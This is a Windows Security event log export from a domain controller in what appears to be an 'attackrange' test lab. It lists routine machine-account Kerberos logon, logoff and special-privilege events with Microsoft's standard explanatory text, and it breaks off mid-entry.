-Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249119 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD3D35 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249118 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD3CB8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249117 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD3CB8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64142 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249116 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD3CB8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249139 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD5290 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249138 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD5290 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64149 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249137 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD5290 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249136 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD51F3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249135 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD51F3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64148 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249134 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD51F3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249133 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD514C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249132 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD514C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64147 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249131 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD514C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249130 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD50A8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249129 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD50A8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64146 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249128 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD50A8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249151 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD5C32 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249150 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD5C32 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64153 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249149 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD5C32 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249148 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD5BC3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249147 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD5BC3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64152 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249146 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD5BC3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249145 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD5B5B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249144 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD5B5B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64151 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249143 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD5B5B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249142 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD5AFA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249141 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD5AFA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64150 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249140 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD5AFA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249163 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD76E9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249162 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: 